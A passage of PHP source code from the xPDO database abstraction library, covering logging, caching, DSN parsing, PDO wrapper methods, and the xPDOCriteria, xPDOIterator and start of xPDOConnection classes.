$this->log(xPDO::LOG_LEVEL_ERROR, 'No foreign key definition for parentClass: ' . $parentClass . ' using relation alias: ' . $alias); } return $def; } /** * Gets the version string of the schema the specified class was generated from. * * @param string $className The name of the class to get the model version from. * @return string The version string for the schema model the class was generated from. */ public function getModelVersion($className) { $version = '1.0'; $className= $this->loadClass($className); if ($className && isset($this->map[$className]['version'])) { $version= $this->map[$className]['version']; } return $version; } /** * Gets the manager class for this xPDO connection. * * The manager class can perform operations such as creating or altering * table structures, creating data containers, generating custom persistence * classes, and other advanced operations that do not need to be loaded * frequently. * * @return xPDOManager|null An xPDOManager instance for the xPDO connection, or null * if a manager class can not be instantiated. */ public function getManager() { if ($this->manager === null || !$this->manager instanceof xPDOManager) { $loaded= include_once(XPDO_CORE_PATH . 'om/' . $this->config['dbtype'] . '/xpdomanager.class.php'); if ($loaded) { $managerClass = 'xPDOManager_' . $this->config['dbtype']; $this->manager= new $managerClass ($this); } if (!$this->manager) { $this->log(xPDO::LOG_LEVEL_ERROR, "Could not load xPDOManager class."); } } return $this->manager; } /** * Gets the driver class for this xPDO connection. * * The driver class provides baseline data and operations for a specific database driver. * * @return xPDODriver|null An xPDODriver instance for the xPDO connection, or null * if a driver class can not be instantiated. */ public function getDriver() { if ($this->driver === null || !$this->driver instanceof xPDODriver) { $loaded= include_once(XPDO_CORE_PATH . 'om/' . $this->config['dbtype'] . '/xpdodriver.class.php'); if ($loaded) { $driverClass = 'xPDODriver_' . $this->config['dbtype']; $this->driver= new $driverClass ($this); } if (!$this->driver) { $this->log(xPDO::LOG_LEVEL_ERROR, "Could not load xPDODriver class for the {$this->config['dbtype']} PDO driver. " . print_r($this->config, true)); } } return $this->driver; } /** * Gets the absolute path to the cache directory. * * @return string The full cache directory path. */ public function getCachePath() { if (!$this->cachePath) { if ($this->getCacheManager()) { $this->cachePath= $this->cacheManager->getCachePath(); } } return $this->cachePath; } /** * Gets an xPDOCacheManager instance. * * This class is responsible for handling all types of caching operations for the xPDO core. * * @param string $class Optional name of a derivative xPDOCacheManager class. * @param array $options An array of options for the cache manager instance; valid options include: * - path = Optional root path for looking up the $class. * - ignorePkg = If false and you do not specify a path, you can look up custom xPDOCacheManager * derivatives in declared packages. * @return xPDOCacheManager The xPDOCacheManager for this xPDO instance. */ public function getCacheManager($class= 'cache.xPDOCacheManager', $options = array('path' => XPDO_CORE_PATH, 'ignorePkg' => true)) { $actualClass = $this->loadClass($class, $options['path'], $options['ignorePkg'], true); if ($this->cacheManager === null || !is_object($this->cacheManager) || !($this->cacheManager instanceof $actualClass)) { if ($this->cacheManager= new $actualClass($this, $options)) { $this->_cacheEnabled= true; } } return $this->cacheManager; } /** * Returns the debug state for the xPDO instance. * * @return boolean The current debug state for the instance, true for on, * false for off. */ public function getDebug() { return $this->_debug; } /** * Sets the debug state for the xPDO instance. * * @param boolean|integer $v The debug status, true for on, false for off, or a valid * error_reporting level for PHP. */ public function setDebug($v= true) { $this->_debug= $v; } /** * Sets the logging level state for the xPDO instance. * * @param integer $level The logging level to switch to. * @return integer The previous log level. */ public function setLogLevel($level= xPDO::LOG_LEVEL_FATAL) { $oldLevel = $this->logLevel; $this->logLevel= intval($level); return $oldLevel; } /** * @return integer The current log level. */ public function getLogLevel() { return $this->logLevel; } /** * Sets the log target for xPDO::_log() calls. * * Valid target values include: * * * @param string $target An identifier indicating the target of the logging. * @return mixed The previous log target. */ public function setLogTarget($target= 'ECHO') { $oldTarget = $this->logTarget; $this->logTarget= $target; return $oldTarget; } /** * @return integer The current log level. */ public function getLogTarget() { return $this->logTarget; } /** * Log a message with details about where and when an event occurs. * * @param integer $level The level of the logged message. * @param string $msg The message to log. * @param string $target The logging target. * @param string $def The name of a defining structure (such as a class) to * help identify the message source. * @param string $file A filename in which the log event occured. * @param string $line A line number to help locate the source of the event * within the indicated file. */ public function log($level, $msg, $target= '', $def= '', $file= '', $line= '') { $this->_log($level, $msg, $target, $def, $file, $line); } /** * Log a message as appropriate for the level and target. * * @param integer $level The level of the logged message. * @param string $msg The message to log. * @param string $target The logging target. * @param string $def The name of a defining structure (such as a class) to * help identify the log event source. * @param string $file A filename in which the log event occured. * @param string $line A line number to help locate the source of the event * within the indicated file. */ protected function _log($level, $msg, $target= '', $def= '', $file= '', $line= '') { if (empty ($target)) { $target = $this->logTarget; } $targetOptions = array(); if (is_array($target)) { if (isset($target['options'])) $targetOptions =& $target['options']; $target = isset($target['target']) ? $target['target'] : 'ECHO'; } if (empty($file) && isset($_SERVER['SCRIPT_NAME'])) { $file= $_SERVER['SCRIPT_NAME']; } if ($level === xPDO::LOG_LEVEL_FATAL) { while (ob_get_level() && @ob_end_flush()) {} exit ('[' . strftime('%Y-%m-%d %H:%M:%S') . '] (' . $this->_getLogLevel($level) . $def . $file . $line . ') ' . $msg . "\n" . ($this->getDebug() === true ? '
' . "\n" . print_r(debug_backtrace(), true) . "\n" . '
' : '')); } if ($this->_debug === true || $level <= $this->logLevel) { @ob_start(); if (!empty ($def)) { $def= " in {$def}"; } if (!empty ($file)) { $file= " @ {$file}"; } if (!empty ($line)) { $line= " : {$line}"; } switch ($target) { case 'HTML' : echo '
[' . strftime('%Y-%m-%d %H:%M:%S') . '] (' . $this->_getLogLevel($level) . $def . $file . $line . ')
' . $msg . '
' . "\n"; break; default : echo '[' . strftime('%Y-%m-%d %H:%M:%S') . '] (' . $this->_getLogLevel($level) . $def . $file . $line . ') ' . $msg . "\n"; } $content= @ob_get_contents(); @ob_end_clean(); if ($target=='FILE' && $this->getCacheManager()) { $filename = isset($targetOptions['filename']) ? $targetOptions['filename'] : 'error.log'; $filepath = isset($targetOptions['filepath']) ? $targetOptions['filepath'] : $this->getCachePath() . xPDOCacheManager::LOG_DIR; $this->cacheManager->writeFile($filepath . $filename, $content, 'a'); } elseif ($target=='ARRAY' && isset($targetOptions['var']) && is_array($targetOptions['var'])) { $targetOptions['var'][] = $content; } else { echo $content; } } } /** * Returns an abbreviated backtrace of debugging information. * * This function returns just the fields returned via xPDOObject::toArray() * on xPDOObject instances, and simply the classname for other objects, to * reduce the amount of unnecessary information returned. * * @return array The abbreviated backtrace. */ public function getDebugBacktrace() { $backtrace= array (); foreach (debug_backtrace() as $levelKey => $levelElement) { foreach ($levelElement as $traceKey => $traceElement) { if ($traceKey == 'object' && $traceElement instanceof xPDOObject) { $backtrace[$levelKey][$traceKey]= $traceElement->toArray('', true); } elseif ($traceKey == 'object') { $backtrace[$levelKey][$traceKey]= get_class($traceElement); } else { $backtrace[$levelKey][$traceKey]= $traceElement; } } } return $backtrace; } /** * Gets a logging level as a string representation. * * @param integer $level The logging level to retrieve a string for. * @return string The string representation of a valid logging level. */ protected function _getLogLevel($level) { switch ($level) { case xPDO::LOG_LEVEL_DEBUG : $levelText= 'DEBUG'; break; case xPDO::LOG_LEVEL_INFO : $levelText= 'INFO'; break; case xPDO::LOG_LEVEL_WARN : $levelText= 'WARN'; break; case xPDO::LOG_LEVEL_ERROR : $levelText= 'ERROR'; break; default : $levelText= 'FATAL'; } return $levelText; } /** * Escapes the provided string using the platform-specific escape character. * * Different database engines escape string literals in SQL using different characters. For example, this is used to * escape column names that might match a reserved string for that SQL interpreter. To write database agnostic * queries with xPDO, it is highly recommend to escape any database or column names in any native SQL strings used. * * @param string $string A string to escape using the platform-specific escape characters. * @return string The string escaped with the platform-specific escape characters. */ public function escape($string) { $string = trim($string, $this->_escapeCharOpen . $this->_escapeCharClose); return $this->_escapeCharOpen . $string . $this->_escapeCharClose; } /** * Use to insert a literal string into a SQL query without escaping or quoting. * * @param string $string A string to return as a literal, unescaped and unquoted. * @return string The string with any escape or quote characters trimmed. */ public function literal($string) { $string = trim($string, $this->_escapeCharOpen . $this->_escapeCharClose . $this->_quoteChar); return $string; } /** * Adds the table prefix, and optionally database name, to a given table. * * @param string $baseTableName The table name as specified in the object * model. * @param boolean $includeDb Qualify the table name with the database name. * @return string The fully-qualified and quoted table name for the */ private function _getFullTableName($baseTableName, $includeDb= false) { $fqn= ''; if (!empty ($baseTableName)) { if ($includeDb) { $fqn .= $this->escape($this->config['dbname']) . '.'; } $fqn .= $this->escape($baseTableName); } return $fqn; } /** * Parses a DSN and returns an array of the connection details. * * @static * @param string $string The DSN to parse. * @return array An array of connection details from the DSN. * @todo Have this method handle all methods of DSN specification as handled * by latest native PDO implementation. */ public static function parseDSN($string) { $result= array (); $pos= strpos($string, ':'); $result['dbtype']= strtolower(substr($string, 0, $pos)); $parameters= explode(';', substr($string, ($pos +1))); for ($a= 0, $b= count($parameters); $a < $b; $a++) { $tmp= explode('=', $parameters[$a]); if (count($tmp) == 2) { $result[strtolower(trim($tmp[0]))]= trim($tmp[1]); } else { $result['dbname']= trim($parameters[$a]); } } if (!isset($result['dbname']) && isset($result['database'])) { $result['dbname'] = $result['database']; } if (!isset($result['host']) && isset($result['server'])) { $result['host'] = $result['server']; } return $result; } /** * Retrieves a result array from the object cache. * * @param string|xPDOCriteria $signature A unique string or xPDOCriteria object * that represents the query identifying the result set. * @param string $class An optional classname the result represents. * @param array $options Various cache options. * @return array|string|null A PHP array or JSON object representing the * result set, or null if no cache representation is found. */ public function fromCache($signature, $class= '', $options= array()) { $result= null; if ($this->getOption(xPDO::OPT_CACHE_DB, $options)) { if ($signature && $this->getCacheManager()) { $sig= ''; $sigKey= array(); $sigHash= ''; $sigClass= empty($class) || !is_string($class) ? '' : $class; if (is_object($signature)) { if ($signature instanceof xPDOCriteria) { if ($signature instanceof xPDOQuery) { $signature->construct(); if (empty($sigClass)) $sigClass= $signature->getTableClass(); } $sigKey= array ($signature->sql, $signature->bindings); } } elseif (is_string($signature)) { if ($exploded= explode('_', $signature)) { $class= reset($exploded); if (empty($sigClass) || $sigClass !== $class) { $sigClass= $class; } if (empty($sigKey)) { while ($key= next($exploded)) { $sigKey[]= $key; } } } } if (empty($sigClass)) $sigClass= '__sqlResult'; if ($sigClass && $sigKey) { $sigHash= md5($this->toJSON($sigKey)); $sig= implode('/', array ($sigClass, $sigHash)); } if (is_string($sig) && !empty($sig)) { $result= $this->cacheManager->get($sig, array( xPDO::OPT_CACHE_KEY => $this->getOption('cache_db_key', $options, 'db'), xPDO::OPT_CACHE_HANDLER => $this->getOption(xPDO::OPT_CACHE_DB_HANDLER, $options, $this->getOption(xPDO::OPT_CACHE_HANDLER, $options, 'cache.xPDOFileCache')), xPDO::OPT_CACHE_FORMAT => (integer) $this->getOption('cache_db_format', null, $this->getOption(xPDO::OPT_CACHE_FORMAT, null, xPDOCacheManager::CACHE_PHP)), 'cache_prefix' => $this->getOption('cache_db_prefix', $options, xPDOCacheManager::CACHE_DIR), )); if ($this->getDebug() === true) { if (!$result) { $this->log(xPDO::LOG_LEVEL_DEBUG, 'No cache item found for class ' . $sigClass . ' with signature ' . xPDOCacheManager::CACHE_DIR . $sig); } else { $this->log(xPDO::LOG_LEVEL_DEBUG, 'Loaded cache item for class ' . $sigClass . ' with signature ' . xPDOCacheManager::CACHE_DIR . $sig); } } } } } return $result; } /** * Places a result set in the object cache. * * @param string|xPDOCriteria $signature A unique string or xPDOCriteria object * representing the object. * @param object $object An object to place a representation of in the cache. * @param integer $lifetime An optional number of seconds the cached result * will remain valid, with 0 meaning it will remain valid until replaced or * removed. * @param array $options Various cache options. * @return boolean Indicates if the object was successfully cached. */ public function toCache($signature, $object, $lifetime= 0, $options = array()) { $result= false; if ($this->getCacheManager()) { if ($this->getOption(xPDO::OPT_CACHE_DB, $options)) { if ($lifetime === true) { $lifetime = 0; } elseif (!$lifetime && $this->getOption(xPDO::OPT_CACHE_DB_EXPIRES, $options, 0)) { $lifetime= intval($this->getOption(xPDO::OPT_CACHE_DB_EXPIRES, $options, 0)); } $sigKey= array(); $sigClass= ''; $sigGraph= $this->getOption(xPDO::OPT_CACHE_DB_SIG_GRAPH, $options, array()); if (is_object($signature)) { if ($signature instanceof xPDOCriteria) { if ($signature instanceof xPDOQuery) { $signature->construct(); if (empty($sigClass)) $sigClass = $signature->getTableClass(); } $sigKey= array($signature->sql, $signature->bindings); } } elseif (is_string($signature)) { $exploded= explode('_', $signature); if ($exploded && count($exploded) >= 2) { $class= reset($exploded); if (empty($sigClass) || $sigClass !== $class) { $sigClass= $class; } if (empty($sigKey)) { while ($key= next($exploded)) { $sigKey[]= $key; } } } } if (empty($sigClass)) { if ($object instanceof xPDOObject) { $sigClass= $object->_class; } else { $sigClass= $this->getOption(xPDO::OPT_CACHE_DB_SIG_CLASS, $options, '__sqlResult'); } } if (empty($sigKey) && is_string($signature)) $sigKey= $signature; if (empty($sigKey) && $object instanceof xPDOObject) $sigKey= $object->getPrimaryKey(); if ($sigClass && $sigKey) { $sigHash= md5($this->toJSON(is_array($sigKey) ? $sigKey : array($sigKey))); $sig= implode('/', array ($sigClass, $sigHash)); if (is_string($sig)) { if ($this->getOption('modified', $options, false)) { if (empty($sigGraph) && $object instanceof xPDOObject) { $sigGraph = array_merge(array($object->_class => array('class' => $object->_class)), $object->_aggregates, $object->_composites); } if (!empty($sigGraph)) { foreach ($sigGraph as $gAlias => $gMeta) { $gClass = $gMeta['class']; $removed= $this->cacheManager->delete($gClass, array_merge($options, array( xPDO::OPT_CACHE_KEY => $this->getOption('cache_db_key', $options, 'db'), xPDO::OPT_CACHE_HANDLER => $this->getOption(xPDO::OPT_CACHE_DB_HANDLER, $options, $this->getOption(xPDO::OPT_CACHE_HANDLER, $options, 'cache.xPDOFileCache')), xPDO::OPT_CACHE_FORMAT => (integer) $this->getOption('cache_db_format', $options, $this->getOption(xPDO::OPT_CACHE_FORMAT, $options, xPDOCacheManager::CACHE_PHP)), xPDO::OPT_CACHE_EXPIRES => (integer) $this->getOption(xPDO::OPT_CACHE_DB_EXPIRES, null, $this->getOption(xPDO::OPT_CACHE_EXPIRES, null, 0)), xPDO::OPT_CACHE_PREFIX => $this->getOption('cache_db_prefix', $options, xPDOCacheManager::CACHE_DIR), 'multiple_object_delete' => true ))); if ($this->getDebug() === true) { $this->log(xPDO::LOG_LEVEL_DEBUG, "Removing all cache objects of class {$gClass}: " . ($removed ? 'successful' : 'failed')); } } } } $cacheOptions = array_merge($options, array( xPDO::OPT_CACHE_KEY => $this->getOption('cache_db_key', $options, 'db'), xPDO::OPT_CACHE_HANDLER => $this->getOption(xPDO::OPT_CACHE_DB_HANDLER, $options, $this->getOption(xPDO::OPT_CACHE_HANDLER, $options, 'cache.xPDOFileCache')), xPDO::OPT_CACHE_FORMAT => (integer) $this->getOption('cache_db_format', $options, $this->getOption(xPDO::OPT_CACHE_FORMAT, $options, xPDOCacheManager::CACHE_PHP)), xPDO::OPT_CACHE_EXPIRES => (integer) $this->getOption(xPDO::OPT_CACHE_DB_EXPIRES, null, $this->getOption(xPDO::OPT_CACHE_EXPIRES, null, 0)), xPDO::OPT_CACHE_PREFIX => $this->getOption('cache_db_prefix', $options, xPDOCacheManager::CACHE_DIR) )); $result= $this->cacheManager->set($sig, $object, $lifetime, $cacheOptions); if ($result && $object instanceof xPDOObject) { if ($this->getDebug() === true) { $this->log(xPDO::LOG_LEVEL_DEBUG, "xPDO->toCache() successfully cached object with signature " . xPDOCacheManager::CACHE_DIR . $sig); } } if (!$result) { $this->log(xPDO::LOG_LEVEL_WARN, "xPDO->toCache() could not cache object with signature " . xPDOCacheManager::CACHE_DIR . $sig); } } } else { $this->log(xPDO::LOG_LEVEL_ERROR, "Object sent toCache() has an invalid signature."); } } } else { $this->log(xPDO::LOG_LEVEL_ERROR, "Attempt to send a non-object to toCache()."); } return $result; } /** * Converts a PHP array into a JSON encoded string. * * @param array $array The PHP array to convert. * @return string The JSON representation of the source array. */ public function toJSON($array) { $encoded= ''; if (is_array ($array)) { if (!function_exists('json_encode')) { if (@ include_once (XPDO_CORE_PATH . 'json/JSON.php')) { $json = new Services_JSON(); $encoded= $json->encode($array); } } else { $encoded= json_encode($array); } } return $encoded; } /** * Converts a JSON source string into an equivalent PHP representation. * * @param string $src A JSON source string. * @param boolean $asArray Indicates if the result should treat objects as * associative arrays; since all JSON associative arrays are objects, the default * is true. Set to false to have JSON objects returned as PHP objects. * @return mixed The PHP representation of the JSON source. */ public function fromJSON($src, $asArray= true) { $decoded= ''; if ($src) { if (!function_exists('json_decode')) { if (@ include_once (XPDO_CORE_PATH . 'json/JSON.php')) { if ($asArray) { $json = new Services_JSON(SERVICES_JSON_LOOSE_TYPE); } else { $json = new Services_JSON(); } $decoded= $json->decode($src); } } else { $decoded= json_decode($src, $asArray); } } return $decoded; } /** * @see http://php.net/manual/en/function.pdo-begintransaction.php */ public function beginTransaction() { if (!$this->connect(null, array(xPDO::OPT_CONN_MUTABLE => true))) { return false; } return $this->pdo->beginTransaction(); } /** * @see http://php.net/manual/en/function.pdo-commit.php */ public function commit() { if (!$this->connect(null, array(xPDO::OPT_CONN_MUTABLE => true))) { return false; } return $this->pdo->commit(); } /** * @see http://php.net/manual/en/function.pdo-exec.php */ public function exec($query) { if (!$this->connect(null, array(xPDO::OPT_CONN_MUTABLE => true))) { return false; } $tstart= microtime(true); $return= $this->pdo->exec($query); $this->queryTime += microtime(true) - $tstart; $this->executedQueries++; return $return; } /** * @see http://php.net/manual/en/function.pdo-errorcode.php */ public function errorCode() { if (!$this->connect()) { return false; } return $this->pdo->errorCode(); } /** * @see http://php.net/manual/en/function.pdo-errorinfo.php */ public function errorInfo() { if (!$this->connect()) { return false; } return $this->pdo->errorInfo(); } /** * @see http://php.net/manual/en/function.pdo-getattribute.php */ public function getAttribute($attribute) { if (!$this->connect()) { return false; } return $this->pdo->getAttribute($attribute); } /** * @see http://php.net/manual/en/function.pdo-lastinsertid.php */ public function lastInsertId() { if (!$this->connect()) { return false; } return $this->pdo->lastInsertId(); } /** * @see http://php.net/manual/en/function.pdo-prepare.php */ public function prepare($statement, $driver_options= array ()) { if (!$this->connect()) { return false; } return $this->pdo->prepare($statement, $driver_options); } /** * @see http://php.net/manual/en/function.pdo-query.php */ public function query($query) { if (!$this->connect()) { return false; } $tstart= microtime(true); $return= $this->pdo->query($query); $this->queryTime += microtime(true) - $tstart; $this->executedQueries++; return $return; } /** * @see http://php.net/manual/en/function.pdo-quote.php */ public function quote($string, $parameter_type= PDO::PARAM_STR) { if (!$this->connect()) { return false; } $quoted = $this->pdo->quote($string, $parameter_type); switch ($parameter_type) { case PDO::PARAM_STR: $quoted = trim($quoted); break; case PDO::PARAM_INT: $quoted = trim($quoted); $quoted = (integer) trim($quoted, "'"); break; default: break; } return $quoted; } /** * @see http://php.net/manual/en/function.pdo-rollback.php */ public function rollBack() { if (!$this->connect(null, array(xPDO::OPT_CONN_MUTABLE => true))) { return false; } return $this->pdo->rollBack(); } /** * @see http://php.net/manual/en/function.pdo-setattribute.php */ public function setAttribute($attribute, $value) { if (!$this->connect()) { return false; } return $this->pdo->setAttribute($attribute, $value); } /** * Creates an new xPDOQuery for a specified xPDOObject class. * * @param string $class The class to create the xPDOQuery for. * @param mixed $criteria Any valid xPDO criteria expression. * @param boolean|integer $cacheFlag Indicates if the result should be cached * and optionally for how many seconds (if passed an integer greater than 0). * @return xPDOQuery The resulting xPDOQuery instance or false if unsuccessful. */ public function newQuery($class, $criteria= null, $cacheFlag= true) { $query= false; if ($this->loadClass($this->config['dbtype'] . '.xPDOQuery', '', false, true)) { $xpdoQueryClass= 'xPDOQuery_' . $this->config['dbtype']; if (!class_exists($xpdoQueryClass, false)) include_once dirname(__FILE__) . '/om/' . $this->config['dbtype'] . '/xpdoquery.class.php'; if ($query= new $xpdoQueryClass($this, $class, $criteria)) { $query->cacheFlag= $cacheFlag; } } return $query; } /** * Splits a string on a specified character, ignoring escaped content. * * @static * @param string $char A character to split the tag content on. * @param string $str The string to operate on. * @param string $escToken A character used to surround escaped content; all * content within a pair of these tokens will be ignored by the split * operation. * @param integer $limit Limit the number of results. Default is 0 which is * no limit. Note that setting the limit to 1 will only return the content * up to the first instance of the split character and will discard the * remainder of the string. * @return array An array of results from the split operation, or an empty * array. */ public static function escSplit($char, $str, $escToken = '`', $limit = 0) { $split= array(); $charPos = strpos($str, $char); if ($charPos !== false) { if ($charPos === 0) { $searchPos = 1; $startPos = 1; } else { $searchPos = 0; $startPos = 0; } $escOpen = false; $strlen = strlen($str); for ($i = $startPos; $i <= $strlen; $i++) { if ($i == $strlen) { $tmp= trim(substr($str, $searchPos)); if (!empty($tmp)) $split[]= $tmp; break; } if ($str[$i] == $escToken) { $escOpen = $escOpen == true ? false : true; continue; } if (!$escOpen && $str[$i] == $char) { $tmp= trim(substr($str, $searchPos, $i - $searchPos)); if (!empty($tmp)) { $split[]= $tmp; if ($limit > 0 && count($split) >= $limit) { break; } } $searchPos = $i + 1; } } } else { $split[]= trim($str); } return $split; } /** * Parses parameter bindings in SQL prepared statements. * * @param string $sql A SQL prepared statement to parse bindings in. * @param array $bindings An array of parameter bindings to use for the replacements. * @return string The SQL with the binding placeholders replaced. */ public function parseBindings($sql, $bindings) { if (!empty($sql) && !empty($bindings)) { reset($bindings); $bound = array(); while (list ($k, $param)= each($bindings)) { if (!is_array($param)) { $v= $param; $type= $this->getPDOType($param); $bindings[$k]= array( 'value' => $v, 'type' => $type ); } else { $v= $param['value']; $type= $param['type']; } if (!$v) { switch ($type) { case PDO::PARAM_INT: $v= '0'; break; case PDO::PARAM_BOOL: $v= '0'; break; default: break; } } if ($type > 0) { $v= $this->quote($v, $type); } else { $v= 'NULL'; } if (!is_int($k) || substr($k, 0, 1) === ':') { $pattern= '/' . $k . '\b/'; $bound[$pattern] = str_replace(array('\\', '$'), array('\\\\', '\$'), $v); } else { $pattern = '/(\?)(\b)?/'; $sql = preg_replace($pattern, ':' . $k . '$2', $sql, 1); $bound['/:' . $k . '\b/'] = str_replace(array('\\', '$'), array('\\\\', '\$'), $v); } } $this->log(xPDO::LOG_LEVEL_INFO, "{$sql}\n" . print_r($bound, true)); if (!empty($bound)) { $sql= preg_replace(array_keys($bound), array_values($bound), $sql); } } return $sql; } /** * Get the appropriate PDO::PARAM_ type constant from a PHP value. * * @param mixed $value Any PHP scalar or null value * @return int|null */ public function getPDOType($value) { $type= null; if (is_null($value)) $type= PDO::PARAM_NULL; elseif (is_scalar($value)) { if (is_int($value)) $type= PDO::PARAM_INT; else $type= PDO::PARAM_STR; } return $type; } } /** * Encapsulates a SQL query into a PDOStatement with a set of bindings. * * @package xpdo * */ class xPDOCriteria { public $sql= ''; public $stmt= null; public $bindings= array (); public $cacheFlag= false; /** * The constructor for a new xPDOCriteria instance. * * The constructor optionally prepares provided SQL and/or parameter * bindings. Setting the bindings via the constructor or with the {@link * xPDOCriteria::bind()} function allows you to make use of the data object * caching layer. * * The statement will not be prepared immediately if the cacheFlag value is * true or a positive integer, in order to allow the result to be found in * the cache before being queried from an actual database connection. * * @param xPDO &$xpdo An xPDO instance that will control this criteria. * @param string $sql The SQL statement. * @param array $bindings Bindings to bind to the criteria. * @param boolean|integer $cacheFlag Indicates if the result set from the * criteria is to be cached (true|false) or optionally a TTL in seconds. * @return xPDOCriteria */ public function __construct(& $xpdo, $sql= '', $bindings= array (), $cacheFlag= false) { $this->xpdo= & $xpdo; $this->cacheFlag= $cacheFlag; if (is_string($sql) && !empty ($sql)) { $this->sql= $sql; if ($cacheFlag === false || $cacheFlag < 0) { $this->stmt= $xpdo->prepare($sql); } if (!empty ($bindings)) { $this->bind($bindings, true, $cacheFlag); } } } /** * Binds an array of key/value pairs to the xPDOCriteria prepared statement. * * Use this method to bind parameters in a way that makes it possible to * cache results of previous executions of the criteria or compare the * criteria to other individual or collections of criteria. * * @param array $bindings Bindings to merge with any existing bindings * defined for this xPDOCriteria instance. Bindings can be simple * associative array of key-value pairs or the value for each key can * contain elements titled value, type, and length corresponding to the * appropriate parameters in the PDOStatement::bindValue() and * PDOStatement::bindParam() functions. * @param boolean $byValue Determines if the $bindings are to be bound as * parameters (by variable reference, the default behavior) or by direct * value (if true). * @param boolean|integer $cacheFlag The cacheFlag indicates the cache state * of the xPDOCriteria object and can be absolutely off (false), absolutely * on (true), or an integer indicating the number of seconds the result will * live in the cache. */ public function bind($bindings= array (), $byValue= true, $cacheFlag= false) { if (!empty ($bindings)) { $this->bindings= array_merge($this->bindings, $bindings); } if (is_object($this->stmt) && $this->stmt && !empty ($this->bindings)) { reset($this->bindings); while (list ($key, $val)= each($this->bindings)) { if (is_array($val)) { $type= isset ($val['type']) ? $val['type'] : PDO::PARAM_STR; $length= isset ($val['length']) ? $val['length'] : 0; $value= & $val['value']; } else { $value= & $val; $type= PDO::PARAM_STR; $length= 0; } if (is_int($key)) $key= $key + 1; if ($byValue) { $this->stmt->bindValue($key, $value, $type); } else { $this->stmt->bindParam($key, $value, $type, $length); } } } $this->cacheFlag= $cacheFlag === null ? $this->cacheFlag : $cacheFlag; } /** * Compares to see if two xPDOCriteria instances are the same. * * @param object $obj A xPDOCriteria object to compare to this one. * @return boolean true if they are both equal is SQL and bindings, otherwise * false. */ public function equals($obj) { return (is_object($obj) && $obj instanceof xPDOCriteria && $this->sql === $obj->sql && !array_diff_assoc($this->bindings, $obj->bindings)); } /** * Prepares the sql and bindings of this instance into a PDOStatement. * * The {@link xPDOCriteria::$sql} attribute must be set in order to prepare * the statement. You can also pass bindings directly to this function and * they will be run through {@link xPDOCriteria::bind()} if the statement * is successfully prepared. * * If the {@link xPDOCriteria::$stmt} already exists, it is simply returned. * * @param array $bindings Bindings to merge with any existing bindings * defined for this xPDOCriteria instance. Bindings can be simple * associative array of key-value pairs or the value for each key can * contain elements titled value, type, and length corresponding to the * appropriate parameters in the PDOStatement::bindValue() and * PDOStatement::bindParam() functions. * @param boolean $byValue Determines if the $bindings are to be bound as * parameters (by variable reference, the default behavior) or by direct * value (if true). * @param boolean|integer $cacheFlag The cacheFlag indicates the cache state * of the xPDOCriteria object and can be absolutely off (false), absolutely * on (true), or an integer indicating the number of seconds the result will * live in the cache. * @return PDOStatement The prepared statement, ready to execute. */ public function prepare($bindings= array (), $byValue= true, $cacheFlag= null) { if ($this->stmt === null || !is_object($this->stmt)) { if (!empty ($this->sql) && $stmt= $this->xpdo->prepare($this->sql)) { $this->stmt= & $stmt; $this->bind($bindings, $byValue, $cacheFlag); } } return $this->stmt; } /** * Converts the current xPDOQuery to parsed SQL. * * @param bool $parseBindings If true, bindings are parsed locally; otherwise * they are left in place. * @return string The parsed SQL query. */ public function toSQL($parseBindings = true) { $sql = $this->sql; if ($parseBindings && !empty($this->bindings)) { $sql = $this->xpdo->parseBindings($sql, $this->bindings); } return $sql; } } /** * An iteratable representation of an xPDOObject result set. * * Use an xPDOIterator to loop over large result sets and work with one instance * at a time. This greatly reduces memory usage over loading the entire collection * of objects into memory at one time. It is also slightly faster. * * @package xpdo */ class xPDOIterator implements Iterator { private $xpdo = null; private $index = 0; private $current = null; /** @var null|PDOStatement */ private $stmt = null; private $class = null; private $alias = null; /** @var null|int|str|array|xPDOQuery */ private $criteria = null; private $criteriaType = 'xPDOQuery'; private $cacheFlag = false; /** * Construct a new xPDOIterator instance (do not call directly). * * @see xPDO::getIterator() * @param xPDO &$xpdo A reference to a valid xPDO instance. * @param array $options An array of options for the iterator. * @return xPDOIterator An xPDOIterator instance. */ function __construct(& $xpdo, array $options= array()) { $this->xpdo =& $xpdo; if (isset($options['class'])) { $this->class = $this->xpdo->loadClass($options['class']); } if (isset($options['alias'])) { $this->alias = $options['alias']; } else { $this->alias = $this->class; } if (isset($options['cacheFlag'])) { $this->cacheFlag = $options['cacheFlag']; } if (array_key_exists('criteria', $options) && is_object($options['criteria'])) { $this->criteria = $options['criteria']; } elseif (!empty($this->class)) { $criteria = array_key_exists('criteria', $options) ? $options['criteria'] : null; $this->criteria = $this->xpdo->getCriteria($this->class, $criteria, $this->cacheFlag); } if (!empty($this->criteria)) { $this->criteriaType = $this->xpdo->getCriteriaType($this->criteria); if ($this->criteriaType === 'xPDOQuery') { $this->class = $this->criteria->getClass(); $this->alias = $this->criteria->getAlias(); } } } public function rewind() { $this->index = 0; if (!empty($this->stmt)) { $this->stmt->closeCursor(); } $this->stmt = $this->criteria->prepare(); $tstart = microtime(true); if ($this->stmt && $this->stmt->execute()) { $this->xpdo->queryTime += microtime(true) - $tstart; $this->xpdo->executedQueries++; $this->fetch(); } elseif ($this->stmt) { $this->xpdo->queryTime += microtime(true) - $tstart; $this->xpdo->executedQueries++; } } public function current() { return $this->current; } public function key() { return $this->index; } public function next() { $this->fetch(); if (!$this->valid()) { $this->index = null; } else { $this->index++; } return $this->current(); } public function valid() { return ($this->current !== null); } /** * Fetch the next row from the result set and set it as current. * * Calls the _loadInstance() method for the specified class, so it properly * inherits behavior from xPDOObject derivatives. */ protected function fetch() { $row = $this->stmt->fetch(PDO::FETCH_ASSOC); if (is_array($row) && !empty($row)) { $this->current = $this->xpdo->call($this->class, '_loadInstance', array(& $this->xpdo, $this->class, $this->alias, $row)); } else { $this->current = null; } } } /** * Represents a unique PDO connection managed by xPDO. * * @package xpdo */ class xPDOConnection { /** * @var xPDO A reference to a valid xPDO instance. */ public $xpdo = null; /** * @var array An array of configuration options for this connection. */ public $config = array(); /** * @var PDO The PDO object represented by the xPDOConnection instance. */ public $pdo = null; /** * @var boolean Indicates if this connection can be written to. */ private $_mutable = true; /** * Construct a new xPDOConnection instance. * * @param xPDO $xpdo A reference to a valid xPDO instance to attach to. * @param string $dsn A string representing the DSN connection string. * @param string $username The database username credentials. * @param string $password The database password credentials. * @param array $options An array of xPDO options for the connection. * @param array $driverOptions An array of PDO driver options for the connection. */ public function __construct(xPDO &$xpdo, $dsn, $username= '', $password= '', $options= array(), $driverOptions= array()) { $this->xpdo =& $xpdo; if (is_array($this->xpdo->config)) $options= array_merge($this->xpdo->config, $options); if 